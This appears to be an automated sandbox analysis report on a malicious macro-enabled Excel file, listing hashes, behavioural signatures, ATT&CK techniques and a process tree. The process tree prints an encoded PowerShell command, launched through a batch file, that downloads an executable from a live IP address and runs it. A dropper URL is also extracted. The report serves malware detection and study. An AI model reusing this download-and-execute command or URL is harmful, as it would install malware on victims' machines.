3d6efe59037f7b5399b5ca0b40fa9ed242894f5be067473ef67c415fdac3fe08

Analysis

max time kernel
122s
max time network
129s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21-11-2024 22:32

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General

Target

6ffda0323b69bb875a8360bcdd18b398a463d3de88bb11e6511a3b3bffe5b753.xlsm
Size

14KB
MD5

70820ac2bb527bb0a10747a06d2c2b0b
SHA1

7289b7ddcdcaa9450c27e1579f36d67a544cee80
SHA256

6ffda0323b69bb875a8360bcdd18b398a463d3de88bb11e6511a3b3bffe5b753
SHA512

64be67485be70ac5aa2539a88c9846282d7178e13a46895d4686ff0ce79378bf9ed4ee7bec00cb88abc0e2e8bb41a9b9ef38aa4ff25b4e4dc6334a96ad1ee4b5
SSDEEP

384:A0z+vPw85+pkQ1z7fMc+8Pty4jZwENYBp7zMLmh:p+3ZgkKzDMCXjZwENmdKk

Score

10^/10

discovery

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://84.252.122.205/xcx/system.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2108	1840	cmd.exe	30

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2100	powershell.exe

Deletes itself 1 IoCs

pid	Process
1840	EXCEL.EXE

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\53F67F00\:Zone.Identifier:$DATA	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1840	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2100	powershell.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
1840	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2100	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1840 wrote to memory of 2108	1840	EXCEL.EXE	31
PID 1840 wrote to memory of 2108	1840	EXCEL.EXE	31
PID 1840 wrote to memory of 2108	1840	EXCEL.EXE	31
PID 1840 wrote to memory of 2108	1840	EXCEL.EXE	31
PID 2108 wrote to memory of 2100	2108	cmd.exe	33
PID 2108 wrote to memory of 2100	2108	cmd.exe	33
PID 2108 wrote to memory of 2100	2108	cmd.exe	33
PID 2108 wrote to memory of 2100	2108	cmd.exe	33

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\6ffda0323b69bb875a8360bcdd18b398a463d3de88bb11e6511a3b3bffe5b753.xlsm
1⤵
- Deletes itself
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: RenamesItself
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1840
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cxrgbutjpc.bat
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2108
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBCAGUAeABzAGMAbwB5AGEAcABhAHIAYwB5AGgAbgBmAHkALgBlAHgAZQAiADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwA4ADQALgAyADUAMgAuADEAMgAyAC4AMgAwADUALwB4AGMAeAAvAHMAeQBzAHQAZQBtAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApAA==
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6ffda0323b69bb875a8360bcdd18b398a463d3de88bb11e6511a3b3bffe5b753.xlsm

Filesize
21KB

MD5
3a37982a36a3e286c391ec4c915a14f8

SHA1
b200610c40d68db675d1d22ba3ccbcd25e8597b9

SHA256
cdc2c1721db1db71374fa8cbaae0aa916feb77dc53d8a30b15acbefd7b5e6419

SHA512
f303c35aa44e1ace057eb48dd94184ebe6b56adf8f2be9b8a5c98a9ebd5c1a1c51d1e42844223df2c717d0042ee8c6f38af5a1bcba6bc38e6cf35a23a4ccc23d

Download Submit
C:\Users\Admin\Documents\Cxrgbutjpc.bat

Filesize
587B

MD5
31814477e987cc1e94638caa7f39f293

SHA1
c3814edcc331117303ced19f53006a4ecd09a833

SHA256
de24fa627ca42edfb1e5b46804f6dd0ed41fbcbd900eeeb56abc5cb34c1cadd4

SHA512
09a06a533d82dc086c345bd1c5ca92b2d582964c963b89e6e0c11c784effe9e4ecfc5e05f2bd3571437a04bead7c2d9fc053bd82538be17a23a473dc949fc268

Download Submit
memory/1840-36-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-17-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-18-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-35-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-16-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-15-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-14-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-13-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-19-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-46-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-54-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-45-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-44-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-43-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-42-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-34-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-40-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-39-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-38-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-37-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-62-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-20-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-41-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-33-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-32-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-31-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-30-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-29-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1840-12-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-11-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-10-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-9-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-8-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-7-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-6-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-5-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-4-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-3-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-2-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download
memory/1840-58-0x00000000723FD000-0x0000000072408000-memory.dmp

Filesize
44KB

Download
memory/1840-1-0x00000000723FD000-0x0000000072408000-memory.dmp

Filesize
44KB

Download
memory/1840-63-0x00000000003F0000-0x00000000004F0000-memory.dmp

Filesize
1024KB

Download